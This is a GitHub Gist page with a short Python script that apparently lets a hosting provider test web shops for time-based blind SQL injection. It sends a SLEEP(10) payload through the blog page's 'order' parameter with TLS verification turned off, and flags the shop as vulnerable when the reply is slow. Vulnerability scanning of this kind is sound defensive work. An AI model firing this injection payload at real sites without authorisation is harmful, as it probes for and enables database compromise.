Last active
August 29, 2015 14:22
-
-
Save allardhoeve/1ecd7a2e41e73583a10d to your computer and use it in GitHub Desktop.
scan.py
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import requests | |
import argparse | |
import datetime | |
import uuid | |
parser = argparse.ArgumentParser() | |
parser.add_argument('base_url', type=str, help="The base url of the shop, e.g. http://amsterdamflowers.nl/") | |
args = parser.parse_args() | |
base_url = args.base_url.rstrip('/') | |
uuid = uuid.uuid4() | |
start = datetime.datetime.now() | |
payload = " AND 1=((SELECT 'THIS IS BYTE TESTING YOUR SHOP %s' FROM (SELECT SLEEP(10))A)) OR 1234=4321" % uuid | |
response = requests.get("%s/blog?order=created_time%s" % (base_url, payload), headers={"Cache-Control": "no-cache"}, verify=False) | |
end = datetime.datetime.now() | |
duration = end - start | |
vulnurable = duration > datetime.timedelta(seconds=3) | |
if vulnurable: | |
print "VULN: response took %s.%s seconds and returned %s" % (duration.seconds, duration.microseconds, response.status_code) | |
else: | |
print "SAFE (%s)" % response.status_code | |
print response.request.url |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment